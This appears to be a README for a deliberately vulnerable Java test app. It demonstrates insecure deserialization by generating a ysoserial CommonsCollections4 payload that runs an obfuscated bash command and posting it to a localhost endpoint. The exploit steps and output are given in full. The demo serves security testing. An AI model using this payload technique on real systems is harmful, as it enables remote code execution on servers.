Insecure Deserialization

[motikan2010]

How to use

Normal

// Get serialized data
$ curl 'http://127.0.0.1:8080/insecure-deserialization/?name=TaroYamada&age=20'

rO0ABXNyADtjb20ubW90aWthbjIwMTAuZ2l0aHViX2NvZGVfc2Nhbm5pbmdfdGVzdC5jb250cm9sbGVyLlBlcnNvbp4cYVCLW1V4AgACSQADYWdlTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAFHQAClRhcm9ZYW1hZGE=

// Post serialized data
$ echo -n 'rO0ABXNyADtjb20ubW90aWthbjIwMTAuZ2l0aHViX2NvZGVfc2Nhbm5pbmdfdGVzdC5jb250cm9sbGVyLlBlcnNvbp4cYVCLW1V4AgACSQADYWdlTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwAAAAFHQAClRhcm9ZYW1hZGE=' | \
base64 -D | \
curl 'http://127.0.0.1:8080/insecure-deserialization/' -X POST --data-binary @-

Person [name = TaroYamada, age = 20]

Attack

// Get malicious binary
$ java -jar ysoserial.jar CommonsCollections4 'bash -c {echo,ZGF0ZSA+IC9Vc2Vycy9tb3Rpa2FuMjAxMC9EZXNrdG9wL2RhdGUudHh0}|{base64,-d}|{bash,-i}' > poc.bin

// Attack request
$ curl 'http://127.0.0.1:8080/insecure-deserialization/' -X POST --data-binary @poc.bin

// Result
$ cat /Users/motikan2010/Desktop/date.txt
Sun Oct 11 04:47:35 JST 2020

Detection

References

• frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
• java.lang.Runtime.exec() Payload Workarounds